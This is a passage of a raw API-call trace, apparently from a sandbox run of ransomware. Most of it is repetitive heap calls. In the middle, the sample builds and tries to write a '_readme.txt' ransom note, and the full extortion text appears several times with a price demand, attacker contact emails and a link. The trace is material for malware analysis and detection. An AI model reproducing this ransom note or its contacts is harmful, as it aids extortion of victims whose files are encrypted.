dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.229] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.230] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.231] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.231] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0117.231] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.231] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.231] PathFindFileNameW (pszPath="") returned="" [0117.231] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.231] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.231] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.231] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.231] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.231] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0117.232] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0117.232] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.232] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.232] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.232] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.232] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.232] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.232] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.232] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.232] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.232] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.232] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.232] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.233] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.233] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.233] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.234] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.234] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: 